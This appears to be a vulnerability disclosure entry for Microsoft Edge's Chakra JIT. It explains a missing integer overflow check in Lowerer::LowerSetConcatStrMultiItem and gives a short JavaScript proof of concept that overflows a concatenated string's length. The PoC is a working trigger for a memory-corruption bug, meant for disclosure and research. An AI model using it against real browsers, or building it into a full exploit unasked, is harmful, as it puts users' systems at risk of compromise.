Microsoft Edge Chakra JIT - 'Lowerer::LowerSetConcatStrMultiItem' Missing Integer Overflow Check

 The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings. 
 Here's a snippet of the method. 
 void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr) 
 { 
     ... 
     IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func); 
     ... 
     InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a) 
     ... 
 } 

 At (a), there's no check for integer overflow. 

 Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug. 

 PoC: 
 */ 

 let a = ''; 
 let b = 'A'.repeat(0x10000); 
 for (let i = 0; i < 0x10000; i++) { 
     a = 'BBBBBBBBB' + a + b; 
 } 

 print(a.length); 
 print(b.length); 
 print(a[0]);